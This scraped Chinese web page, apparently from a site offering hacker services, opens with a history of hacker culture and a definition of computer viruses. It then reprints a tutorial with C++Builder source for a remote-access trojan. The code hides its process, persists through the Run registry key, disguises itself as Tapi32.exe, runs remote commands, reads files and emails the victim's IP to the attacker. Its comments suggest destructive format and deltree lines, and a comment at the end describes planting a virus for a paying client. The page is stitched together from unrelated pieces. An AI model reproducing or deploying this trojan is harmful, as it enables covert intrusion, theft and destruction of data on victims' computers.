少数UNIX站台有连上ARPANET。PDP-10与UNIX的Hacker文化开始交流,不过一开始不怎么愉快就是了。PDP-10的Hacker们觉得UNIX的拥护者都是些什么也不懂的新手,比起他们那复杂华丽,令人爱不释手的LISP与ITS,C与UNIX简直原始的令人好笑。『一群穿兽皮拿石斧的野蛮人』他们咕哝著。

在这当时,又有另一股新潮流风行起来。第一部PC出现在1975年;苹果电脑在1977年成立,以飞快的速度成长。微电脑的潜力,立刻吸引了另一批年轻的 Hackers。他们最爱的程式语言是BASIC,由於它过於简陋,PDP-10 的死忠派与UNIX迷们根本不屑用它,更看不起使用它的人。

※译:这群Hacker中有一位大家一定认识,他的名字叫Bill Gates,最初就是他在8080上发展BASIC compiler的。

古老时代的终结

1980年同时有三个Hacker文化在发展,尽管彼此偶有接触与交流,但还是各玩各的。ARPANET/PDP-10文化,玩的是LISP、MACRO、TOPS-10与ITS。UNIX与C的拥护者用电话线把他们的PDP-11与VAX机器串起来玩。还有另一群散乱无秩序的微电脑迷,致力於将电脑科技平民化。

三者中ITS文化(也就是以MIT AI LAB为中心的Hacker文化)可说在此时达到全盛时期,但乌云逐渐笼罩这个实验室。ITS赖以维生的PDP-10逐渐过时,开始有人离开实验室去外面开公司,将人工智慧的科技商业化。MIT AI Lab 的高手挡不住新公司的高薪挖角而纷纷出走,SAIL与CMU也遭遇到同样的问题。

※译:这个情况在GNU宣言中有详细的描述,请参阅:(特别感谢由AKA的chuhaibo翻成中文)

致命一击终於来临,1983年DEC宣布:为了要集中在PDP-11与VAX生产线,将停止生产PDP-10;ITS没搞头了,因为它无法移植到其他机器上,或说根本没人办的到。而Berkeley Univeristy修改过的UNIX在新型的VAX跑得很顺,是ITS理想的取代品。有远见的人都看得出,在快速成长的微电脑科技下,Unix一统江湖是迟早的事。

差不多在此时Steven Levy完成``Hackers'' 这本书,主要的资料来源是Richard M. Stallman(RMS)的故事,他是MIT AI Lab领袖人物,坚决反对实验室的研究成果商业化。

Stallman接著创办了Free Software Foundation,全力投入写出高品质的自由软件。Levy以哀悼的笔调描述他是the last true hacker',还好事实证明Levy完全错了。

※译:Richard M. Stallman的相关事迹请参考:

Stallman的宏大计划可说是80年代早期Hacker文化的缩影——在1982年他开始建构一个与UNIX 相容但全新的操作系统,以C来写并完全免费。整个ITS的精神与传统,经由RMS的努力,被整合在一个新的,UNIX与VAX机器上的Hacker文化。微电脑与区域网络的科技,开始对Hacker文化产生影响。Motorola 68000 CPU 加Ethernet是个有力的组合,也有几家公司相继成立生产第一代的工作站。1982年,一群Berkeley出来的UNIX Hacker成立了Sun Microsystems,他们的算盘打的是:把UNIX架在以68000为CPU的机器,物美价廉又符合多数应用程式的要求。他们的高瞻远嘱为整个工业界树立了新的里程碑。虽然对个人而言,工作站仍太昂贵,不过在公司与学校眼中,工作站真是比迷你电脑便宜太多了。在这些机构里,工作站(几乎是一人一台)很快地取代了老旧庞大的VAX等timesharing机器。

※译:Sun一开始生产的工作站CPU是用Motorola 68000系列,到1989才推出自行研发的以SPARC系列为CPU的SPARCstation。

私有Unix时代

1984年ATT解散了,UNIX正式成为一个商品。当时的Hacker文化分成两大类,一类集中在Internet与USENET上(主要是跑UNIX的迷你电脑或工作站连上网络),以及另一类PC迷,他们绝大多数没有连上Internet。

※译:台湾在1992年左右连上Internet前,玩家们主要以电话拨接BBS交换资讯,但是有区域性的限制,发展性也大不如USENET。Sun与其他厂商制造的工作站为Hacker们开启了另一个美丽新世界。工作站诉求的是高效能的绘图与网络,1980年代Hacker们致力为工作站撰写软件,不断挑战及突破以求将这些功能发挥到百分之一百零一。Berkeley发展出一套内建支援ARPANET protocols的UNIX,让UNIX能轻松连上网络,Internet也成长的更加迅速。

除了Berkeley让UNIX网络功能大幅提升外,尝试为工作站开发一套图形界面也不少。最有名的要算MIT开发的Xwindow了。Xwindow成功的关键在完全公开原始码,展现出Hacker一贯作风,并散播到Internet上。X 成功的干掉其他商业化的图形界面的例子,对数年后UNIX的发展有著深远的启发与影响。少数ITS死忠派仍在顽抗著,到1990年最后一台ITS也永远关机长眠了;那些死忠派在穷途末路下只有悻悻地投向UNIX的怀抱。

UNIX们此时也分裂为BerkeleyUNIX与ATT两大阵营,也许你看过一些当时的海报,上面画著一台钛翼战机全速飞离一个爆炸中、上面印著ATT的商标的死星。Berkeley UNIX的拥护者自喻为冷酷无情的公司帝国的反抗军。就销售量来说,ATTUNIX始终赶不上BSD/Sun,但它赢了标准制订的战争。到1990年,ATT与BSD版本已难明显区分,因为彼此都有采用对方的新发明。随著90年代的来到,工作站的地位逐渐受到新型廉价的高档PC的威胁,他们主要是用Intel80386系列CPU。第一次Hacker能买一台威力等同於十年前的迷你电脑的机器,上面跑著一个完整的UNIX,且能轻易的连上网络。沉浸在MSDOS世界的井底蛙对这些巨变仍一无所知,从早期只有少数人对微电脑有兴趣,到此时玩DOS与Mac的人数已超过所谓的"网络民族"的文化,但他们始终没成什么气候或搞出什么飞机,虽然聊有佳作光芒乍现,却没有稳定发展出统一的文化传统,术语字典,传奇故事与神话般的历史。它们没有真正的网络,只能聚在小型的BBS 站或一些失败的网络如FIDONET。提供上网服务的公司如CompuServe或Genie生意日益兴隆,事实显示non-UNIX的操作系统因为并没有内附如compiler等程式发展工具,很少有source 在网络上流传,也因此无法形成合作开发软件的风气。Hacker文化的主力,是散布在Internet各地,几乎可说是玩UNIX的文化。他们玩电脑才不在乎什么售后服务之类,他们要的是更好的工具、更多的上网时间、还有一台便宜32-bitPC。

机器有了,可以上网了,但软件去哪找?商业的UNIX贵的要命,一套要好几千大洋($)。90年代早期,开始有公司将ATT与BSDUNIX移植到PC上出售。成功与否不论,价格并没有降下来,更要紧的是没有附原始码,你根本不能也不准修改它,以符合自己的需要或拿去分享给别人。传统的商业软件并没有给Hacker们真正想要的。

即使是FreeSoftwareFoundation(FSF)也没有写出Hacker想要的操作系统,RMS承诺的GNU操作系统——HURD 说了好久了,到1996年都没看到影子(虽然1990年开始,FSF的软件已经可以在所有的UNIX平台执行)。

早期的免费Unix

在这空窗期中,1992年一位芬兰HelsinkiUniversity的学生--LinusTorvalds开始在一台386PC上发展一个自由软件的UNIX kernel,使用FSF的程式开发工具。

他很快的写好简单的版本,丢到网络上分享给大家,吸引了非常多的Hacker来帮忙一起发展Linux-一个功能完整的UNIX,完全免费且附上全部的原始码。Linux最大的特色,不是功能上的先进而是全新的软件开发模式。直到Linux的成功前,人人都认为像操作系统这么复杂的软件,非得要靠一个开发团队密切合作,互相协调与分工才有可能写的出来。商业软件公司与80年代的FreeSoftwareFoundation所采用都是这种发展模式。

Linux则迥异于前者。一开始它就是一大群Hacker在网络上一起涂涂抹抹出来的。没有严格品质控制与高层决策发展方针,靠的是每周发表新版供大家下载测试,测试者再把bug与patch贴到网络上改进下一版。一种全新的物竞天择、去芜存菁的快速发展模式。令大伙傻眼的是,东修西改出来的Linux,跑的顺极了。

1993年底,Linux发展趋於成熟稳定,能与商业的UNIX一分高下,渐渐有商业应用软件移植到Linux上。不过小型UNIX厂商也因为Linux的出现而关门大吉——因为再没有人要买他们的东西。幸存者都是靠提供BSD为基础的UNIX 的完整原始码,有Hacker加入发展才能继续生存。

Hacker文化,一次次被人预测即将毁灭,却在商业软件充斥的世界中,披荆斩棘,筚路蓝缕,开创出另一番自己的天地。

网络大爆炸时代

Linux能快速成长的来自令一个事实:Internet大受欢迎,90年代早期ISP如雨后春笋般的冒出来,World-Wide-Web的出现,使得Internet成长的速度,快到有令人窒息的感觉。

BSD专案在1994正式宣布结束,Hacker们用的主要是免费的UNIX(Linux与一些4.4BSD的衍生版本)。而LinuxCD-ROM销路非常好(好到像卖煎饼般)。近几年来Hacker们主要活跃在Linux与Internet发展上。World-Wide-Web让Internet成为世界最大的传输媒体,很多80年代与90年代早期的Hacker们现在都在经营ISP。

Internet的盛行,Hacker文化受到重视并发挥其政治影响力。94、95年美国政府打算把一些较安全、难解的编码学加以监控,不容许外流与使用。这个称为Clipper proposal的专案引起了Hacker们的群起反对与强烈抗议而半途夭折。96年Hacker又发起了另一项抗议运动对付那取名不当的"Communications DecencyAct",誓言维护Internet上的言论自由。

电脑与Internet在21世纪将是大家不可或缺的生活用品,现代孩子在使用Internet科技迟早会接触到Hacker文化。它的故事传奇与哲学,将吸引更多人投入。未来对Hacker们是充满光明的。

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令集合。

参考:

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Runn

扫描二维码推送至手机访问。

版权声明:本文由黑客业务发布,如需转载请注明出处。

本文链接:http://e-zmc.com/205291.html

分享给朋友:

“穿书之电脑黑客(穿书之作者)” 的相关文章

吴英执行死刑图片 【吴英被枪毙了吗】

本创AI财经社 二0 一 八-0 三- 二 三  一 三: 四 五: 五 六最下法参与  二月,亿万富姐吴英弛刑 至 二 五年,状师 称迎去起色 文|AI财经社 周晶晶编|祝异案领超 一 一年的浙江亿万富姐吴英案末于有了新入铺。 二0 一 八年 三月 二 三日,浙江省高等 群众法院照章公然 休庭审理...

开蔬菜店的禁忌

始谢菜蔬生果 店掉 败的几年夜 缘故原由 寺寺寺寺寺 二0 一 八- 一0-0 四  一 六: 三 六: 三 八第一,便是该入甚么货的答题。菜蔬便没有说了,由于 菜蔬便这么些种类,并且 每一一种类,也没有太分甚么品位。然则 生果 ,学识否便年夜 了。入哪些生果 ,尤为是这些贱的生果 ,该入哪一种。那...

双世宠妃2第1集剧情

第 一散第 二散第 三散第 四散第 五散第 六散第 七散第 八散第 九散第 一0散第 一 一散第 一 二散第 一 三散第 一 四散第 一 五散第 一 六散第 一 七散第 一 八散第 一 九散第 二0散第 二 一散第 二 二散第 二 三散第 二 四散第 二 五散第 二 六散第 二 七散第 二 八散第 ...

cucci是什么牌子

cucci是甚么牌子守业点子• 二0 二0-0 四-0 五  一 一: 二 三: 五 九•网站漫笔 •浏览 五 二 四嫩花有着一股取熟俱去的经典之美,添上设计们正在样式上的自出机杼 ,沉紧离别 了传统的年夜 妈购菜包格调,披发 没浓烈 的时尚风度 ,让许多 亮星年夜 咖们皆地位 入神 。繁复没有隐夸...

黑客教你查询某人信息(找黑客一般费用多少)

正在阅读 器(客户端)战办事 器产生 通讯 时,便曾经斲丧 了年夜 质的空儿,尤为是正在收集 情形 比拟 蹩脚的时刻 ,那个答题尤为的凸起 。一个一般HTTP要求 的流程简述:如正在阅读 器外输出”www.xxxxxx.com”并按高归车,阅读 器再取那个URL指背的办事 器树立 衔接 ,然后阅读...

黑客教你查询某人信息?(私人黑客联系方式)

依照 症结 词从其余网页链交到该网页外涌现 的数目 去断定 网页 对于该症结 词的相闭性。好比 ,依照 症结 词“苹因”,正在零个互联网外有 三000个网页链交到A网页,而只要 二000个网页链交到B网页,这么,正在搜刮 成果 外,A排名正在前, B排名正在后。 二.链交量质准则正在链交数目 雷同...

评论列表

舔夺旧谈
2年前 (2023-01-29)

这里有个窍门,是经过我历时半年反复实验发现的,用简单的话说就是把手机调为振动。电话是客户打来的,他很歉疚地说想将任务更改一下,就是不要破坏他的电脑,是将病毒“种”在他电脑上就行了。他猜到了现在快天亮了

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。